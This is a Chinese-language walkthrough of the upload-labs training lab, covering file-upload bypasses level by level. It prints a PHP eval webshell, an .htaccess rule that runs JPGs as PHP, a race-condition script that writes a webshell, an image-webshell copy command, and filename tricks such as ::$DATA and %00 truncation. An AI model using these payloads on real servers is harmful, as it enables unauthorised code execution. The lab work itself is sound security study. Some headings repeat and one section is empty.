万字解析upload-labs靶场(基于cyberstrikelab网络安全仿真平台)
本文主要介绍了upload-labs靶场中前9关的文件上传漏洞利用方法。文章从基础概念入手,解释了文件上传漏洞的原理和条件,并提供了常用的一句话木马代码。针对每个关卡,作者详细讲解了不同的绕过方法:第一关通过禁用JS验证绕过前端检测;第二关修改Content-Type字段;第三关利用特殊后缀如.php5;第四关通过.htaccess文件配置;第五关大小写转换;第六关添加空格;第七关添加点号;第八关
前言
upload-labs收集了CTF比赛中遇到的各种上传漏洞的靶场,每一关都包含着不同上传方式。目前我使用的是总计20关的靶场,为了更突出比赛实战化,第一关到第十关我是在cyberstrikelab网络安全仿真平台练习,
第十一关以后我是在本地搭建phpstudy学习。
概念
(1)什么是文件上传漏洞?
上传文件时,目标服务器对上传的文件内容及后缀没做严格的过滤,对文件存储的路径没做限制。
(2)条件:
- 木马文件(php、jsp、asp、exe)
- 可以绕过目标服务器检测,并成功上传
- 可以获取到上传路径,上传路径具备可执行权限
一句话木马
我常用的,写入木马文件的一句话木马命令:
<?php @eval($_POST['1']); ?>
靶场
(1)在线靶场
在cyberstrikelab官网,仿真靶场中可以搜到。
(2)本地搭建
下载集成环境绿色免安装的版本,解压可使用。
此处为下载地址。
下载好后,直接放在phpstudy的WWW目录中。
读完使用说明后,运行集成环境,在本地浏览器访问地址:127.0.0.1/upload-labs 。
问题
这里可能会遇到一个问题,burpsuite会抓不到包。这时我们只需把127.0.0.1改为本机IPv4的地址。查看本机IPv的方法:打开cmd,输入ipconfig。

去访问,这样就可以正常抓包了
每道题的解题方法不止一种,大家可以看完文章后,都运用一遍。
正文
Pass-01
第一关通过右键查看源代码或者提示,发现代码为前端验证。后续的方法,也是先看源代码,再做题,
源代码部分不再赘述。
方法:关闭JS验证
谷歌浏览器按下F12,选择停用JS。
禁用JS后, 就可以直接传php一句话木马了。
可以看到文件上传成功了。
Pass-02
方法:修改文件后缀,content-type绕过。
使用burpsuite工具抓包,上传一个含一句话木马的图片,然后直接修改content-type字段,将文件后缀名改为.php,然后点击“发送”即可完成上传。
传完之后,可以用蚁剑验证一下。
Pass-03
方法:修改文件后缀
在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。我们这里用.php5试一下,可以发现直接上传成功 。
想要被当成php执行的话,需要有个前提条件:你下载的靶场环境里,在Apache目录的httpd.conf文件中得修改成如下配置(靶场环境未配置好,此处仅做上传测试)。
Pass-04
方法:修改htaccess文件。但要注意,.htaccess文件不能起名字,它就是.htaccess文件。如果你将它改为3.htaccess或者其他会无法解析。
概念:(1).htaccess 是配置文件通常位于网站的根目录或特定的文件中,并影响该目录及子目录。每个目录都可以有这个文件。生效方式:修改后立刻生效。
(2)httpd.conf 是全局的文件,整个服务器的 管理员才可以修改。生效方式:要重启。
(3).user.ini 作用于覆盖或追加全局配置文件(如 php.ini)中的php配置选项,通常位于web应用程序根目录下。 生效方式:修改后立刻生效。适用于php版本是7.x的。
思路:
(1)创建一个.htaccess文件,里面输入内容
<FilesMatch "3.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这段代码的意思,就是将jpg文件当作php文件执行。

修改后,上传.htaccess文件。
(2)把一句话木马改成3.jpg ,然后上传上去。
上传成功后,对这个图片右键,在新建标签页打开图片。
(3)用蚁剑连接测试
Pass-05
方法:php文件小写改大写
这一关的思路是它没有循环验证,收尾去空、删除末尾的点,去除字符串::$DATA,转换为小写这些东西只是验证了一次。
(1)抓包,将php后缀改为phP
蚁剑连接测试
Pass-06
方法:php后缀加空格
直接看源代码,发现没有对上传的文件收尾去空,所以可以在php文件后缀加空格。
上传php文件,抓包在后面加空格。
Pass-07
方法:php后缀加点
与前面几关都类似,看源码没有去除. 所以可以用加.来绕过
上传1.php抓包,将1.php后面加.,放行
蚁剑连接测试
Pass-08
方法:数据流绕过,php后缀加::$DATA
**概念:**在windows操作系统中,当你看到文件名后缀跟着 ::$DATA时 它表示一个附加数据流。
数据流是一种用于在文件内部存储额外数据的机制,这些额外的数据流可以通过在文件名后添加::$DATA来访问。如 1.txt是一个文件,而1.txt::$DATA 是这个文件的一个附加数据流。这样的数据流可以用于存储文件的元数据,备份信息,标签等。
写入方法1:
echo 内容 >>文件名:数据流名
type 文件名 >>文件名:数据流名
查看方法:
notepad 文件名:数据流名
思路:
Pass-09
方法:php后缀加. .( 这里要注意的就是点和点之间是有空格的)
验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还 有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。

Pass-10
方法: 双写后缀绕过,php后缀修改为.pphphp
验证原理和上一题一样。
Pass-11
方法:修改get路径,加入%00截断
**概念:**字符串读取的时候 有 0x00会被当做截断标志。如你好0x00.php显示的是你好,%00和0x00一样,区别使用的地方不一样, %00在url中使用 0x00在编程语言中使用。因为,php的一些函数的底层是C语言,而move_uploaded_file()就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
做到这里,就需要搭建本地环境了,线上平台总是提示上传错误。
我们传一个3.jpg的图片,然后在保存路径修改为xxx.php%00。这里我修改成44.php
最后你可以在本地盘符里看到这个木马文件。
Pass-12
方法:修改post路径,加入00截断。
第十二关和第十一关是差不多的,只不过是接受值变成了post,这两者的差别呢就是get会自行解码,post不会自行解码,我们需要对%00进行编码,选中%00,右键进行url编码,如下图进行URL-decode。
可以在本地目录上看到木马文件上传上去了。
Pass-12
方法:制作图片马,利用文件包含漏洞。
(1)通过命令
copy a.jpg /b + 1.php /a shell.jpg
将一个正常的图片和一个带有php木马的图片合并起来,制作成图片马。
(2)上传制作好的图片马文件
(3)查看文件包含漏洞的源码

(4)对上传好的图片右键访问
记住这个图片单位存储位置
(5)在文件包含漏洞的URL中,通过file命令插入刚才记下的位置?file=upload/2020251025010220.png

(6)蚁剑连接测试
Pass-13
方法:制作图片马,利用文件包含漏洞。
由于和第12关上传方法一样,这里不做赘述。
(1)制作图片马
(2)查看保存路径
(3)访问
(4)蚁剑连接测试
Pass-14
由于和第12关上传方法一样,这里不做过多赘述。
Pass-15
由于和第12关上传方法一样,这里不做过多赘述。
Pass-16
方法:制作gif图片马2,绕过二次渲染验证。
关于绕过对gif图片的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进gif里,就可以成功上传带有php代码的图片了。
如下图,经过比对,蓝色是没有变化的。
我们将代码写入该位置。
上传后在下载到本地使用16进制编辑器打开。
可以看到php代码没有被去除,成功上传图片马。
Pass-17
方法:竞争上传
我们查看源代码可以明白,代码的意思是先将图片上传上去,才开始进行判断后缀名、二次渲染。
如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
(1)新建一个02.php,并写下下列代码
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

(2)上传02.php,并抓包发送到intruder模块。
发送完之后,点击清理payload。
在payload设置中,选择Null payloads ,并设置成无限重复。
然后点击开始攻击。此时同时打开另一个浏览器,访问02.php。
通过竞争关系,此时在上传目录中就会出现webshell.php,从而帮助蚁剑连接。
Pass-18
操作和第16关是一样的,不再赘述。
这关是检查后缀名,然后上传,然后在进行二次渲染。这时我们只能上传gif图片马,而且得配合解析漏洞进行通关。
Pass-19
方法:move_uploaded_file() 函数特性,修改为.php /.move_uploaded_file()函数会忽略掉文件末尾的 /.
所以我们把他修改为.php/.
Pass-20
方法:利用数组绕过验证
如下图,修改字段。
由于这关会检测文件后缀名,所以利用数字绕过的形式,拼接起来上传,即upload-20.php/.png 。
最后传上去的就是upload-20.php
参考文献
更多推荐



所有评论(0)